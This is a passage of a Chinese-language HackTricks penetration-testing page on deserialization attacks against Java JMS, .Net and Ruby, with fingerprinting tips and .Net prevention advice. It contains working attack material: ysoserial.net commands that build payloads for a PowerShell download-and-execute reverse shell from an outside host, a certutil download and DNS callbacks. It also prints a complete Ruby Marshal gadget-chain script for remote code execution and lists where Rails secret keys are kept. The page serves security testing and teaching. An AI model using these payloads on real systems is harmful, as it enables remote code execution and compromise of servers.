[JNDI - Java Naming and Directory Interface & Log4Shell](/pentesting-web/deserialization/jndi-java-naming-and-directory-interface-and-log4shell.md)
{% endcontent-ref %}

## JMS - Java 消息服务

> **Java 消息服务**（**JMS**）API 是用于在两个或多个客户端之间发送消息的 Java 面向消息的中间件 API。它是一个处理生产者-消费者问题的实现。JMS 是 Java 平台企业版（Java EE）的一部分，由 Sun Microsystems 开发的规范定义，但后来由 Java 社区流程指导。它是一种消息标准，允许基于 Java EE 的应用组件创建、发送、接收和读取消息。它允许分布式应用程序的不同组件之间的通信松散耦合、可靠和异步。（来源：[维基百科](https://en.wikipedia.org/wiki/Java_Message_Service)）。

### 产品

有几种产品使用此中间件发送消息：

![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](/files/Rwd6QrgYqCPx1IAB0JN0)

![https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](/files/tcmm0j3uXbH9WdSVj78f)

### 利用

因此，基本上有**一堆服务以危险的方式使用 JMS**。因此，如果您有**足够的权限**向这些服务发送消息（通常需要有效凭据），您可能能够发送**序列化的恶意对象，将由消费者/订阅者进行反序列化**。\
这意味着在此利用中，所有**将使用该消息的客户端都将受到感染**。

请记住，即使服务存在漏洞（因为它不安全地反序列化用户输入），您仍然需要找到有效的工具来利用漏洞。

工具[JMET](https://github.com/matthiaskaiser/jmet) 是为了**连接和攻击这些服务，发送使用已知工具生成的多个序列化的恶意对象**而创建的。如果服务仍然存在漏洞，并且使用的工具中包含任何已使用的工具，则这些利用将起作用。

### 参考资料

* JMET 讲解：<https://www.youtube.com/watch?v=0h8DWiOWGGA>
* 幻灯片：<https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf>

## .Net

在 .Net 的背景下，反序列化利用的操作方式类似于 Java 中发现的方式，其中利用工具运行特定代码以在对象的反序列化期间执行。

### 指纹

#### 白盒

应检查源代码中是否存在以下内容：

1. `TypeNameHandling`
2. `JavaScriptTypeResolver`

重点应放在允许类型由用户控制的变量确定的序列化程序上。

#### 黑盒

搜索应针对 Base64 编码的字符串 **AAEAAAD/////** 或可能在服务器端进行反序列化的任何类似模式，从而授予对要反序列化的类型的控制权。这可能包括但不限于包含 `TypeObject` 或 `$type` 的 **JSON** 或 **XML** 结构。

### ysoserial.net

在这种情况下，您可以使用工具 [**ysoserial.net**](https://github.com/pwntester/ysoserial.net) 来**创建反序列化利用**。一旦下载了 git 存储库，您应该使用例如 Visual Studio 编译工具。

如果您想了解 **ysoserial.net 如何创建其利用**，您可以[**查看此页面，其中解释了 ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter**](/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。

**ysoserial.net** 的主要选项包括：**`--gadget`**、**`--formatter`**、**`--output`** 和 **`--plugin`**。

* **`--gadget`** 用于指示要滥用的 gadget（指示在反序列化期间将被滥用以执行命令的类/函数）。
* **`--formatter`** 用于指示序列化利用的方法（您需要知道后端使用的库以反序列化有效负载并使用相同的库进行序列化）。
* **`--output`** 用于指示是否希望以 **原始** 或 **Base64** 编码形式获得利用。\_请注意，**ysoserial.net** 将使用 **UTF-16LE**（Windows 默认使用的编码）对有效负载进行**编码**，因此如果获取原始有效负载并仅从 Linux 控制台对其进行编码，可能会出现一些**编码兼容性问题**，这将阻止利用正常工作（在 HTB JSON 盒中，有效负载在 UTF-16LE 和 ASCII 中都有效，但这并不意味着它总是有效）。
* **`--plugin`** ysoserial.net 支持插件，用于为特定框架**创建利用**，如 ViewState

#### 更多 ysoserial.net 参数

* `--minify` 将提供一个**更小的有效负载**（如果可能）
* `--raf -f Json.Net -c "anything"` 这将指示可以与提供的格式化程序（在本例中为 `Json.Net`）一起使用的所有工具
* `--sf xml` 您可以**指示一个 gadget**（-g）并且 ysoserial.net 将搜索包含 "xml" 的格式化程序（不区分大小写）

**ysoserial 示例**以创建利用：

```bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
```

**ysoserial.net** 还有一个非常有趣的参数，有助于更好地理解每个漏洞利用方式：`--test`。如果您指定了这个参数，**ysoserial.net** 将在本地尝试该漏洞利用，这样您就可以测试您的有效负载是否能正常工作。这个参数很有帮助，因为如果您查看代码，您会发现类似以下代码块的代码（来自[ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)）：

```java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
```

这意味着为了测试漏洞利用代码将调用[serializersHelper.JsonNet\_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)。

```java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
```

在**先前的代码中存在漏洞**。因此，如果在一个 .Net 应用程序中发现类似的情况，那么该应用程序很可能也存在漏洞。\
因此，**`--test`** 参数允许我们了解**哪些代码块容易受到 ysoserial.net 创建的反序列化漏洞**的影响。

### ViewState

查看关于[**如何尝试利用 .Net 的 \_\_ViewState 参数来执行任意代码**](/pentesting-web/deserialization/exploiting-__viewstate-parameter.md)的**这篇文章**。如果您**已经知道**受害者机器使用的**秘密**，请阅读[**此文章以了解如何执行代码**](/pentesting-web/deserialization/exploiting-__viewstate-knowing-the-secret.md)**。**

### 预防措施

为了减轻 .Net 中反序列化带来的风险：

* **避免允许数据流定义其对象类型**。尽可能使用 `DataContractSerializer` 或 `XmlSerializer`。
* **对于 `JSON.Net`，将 `TypeNameHandling` 设置为 `None`：** %%%TypeNameHandling = TypeNameHandling.None%%%
* **避免使用带有 `JavaScriptTypeResolver` 的 `JavaScriptSerializer`。**
* **限制可以反序列化的类型**，了解 .Net 类型的固有风险，例如 `System.IO.FileInfo` 可以修改服务器文件的属性，可能导致拒绝服务攻击。
* **谨慎处理具有风险属性的类型**，例如 `System.ComponentModel.DataAnnotations.ValidationException` 的 `Value` 属性可能会被利用。
* **安全地控制类型实例化**，以防止攻击者影响反序列化过程，即使是 `DataContractSerializer` 或 `XmlSerializer` 也会有漏洞。
* **使用自定义 `SerializationBinder` 为 `BinaryFormatter` 和 `JSON.Net` 实现白名单控制**。
* **了解 .Net 中已知的不安全反序列化小工具**，确保反序列化器不会实例化此类类型。
* **将潜在风险代码与具有互联网访问权限的代码隔离**，以避免将已知小工具（例如 WPF 应用程序中的 `System.Windows.Data.ObjectDataProvider`）暴露给不受信任的数据源。

### **参考资料**

* Java 和 .Net JSON 反序列化**论文：**[**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)\*\*，**演讲：**[**https://www.youtube.com/watch?v=oUAeWhW5b8c**](https://www.youtube.com/watch?v=oUAeWhW5b8c)，\*\*幻灯片：<https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf>
* <https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp>
* <https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf>
* <https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization>

## **Ruby**

在 Ruby 中，序列化由 **marshal** 库中的两种方法实现。第一种方法称为 **dump**，用于将对象转换为字节流。这个过程称为序列化。相反，第二种方法 **load** 用于将字节流恢复为对象，这个过程称为反序列化。

为了保护序列化对象，**Ruby 使用 HMAC（基于哈希的消息认证码）**，确保数据的完整性和真实性。用于此目的的密钥存储在以下几个可能的位置之一：

* `config/environment.rb`
* `config/initializers/secret_token.rb`
* `config/secrets.yml`
* `/proc/self/environ`

**Ruby 2.X 通用反序列化到 RCE 小工具链（更多信息请参阅** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**）**：

```ruby
#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```

另一个利用Ruby On Rails的RCE链：<https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
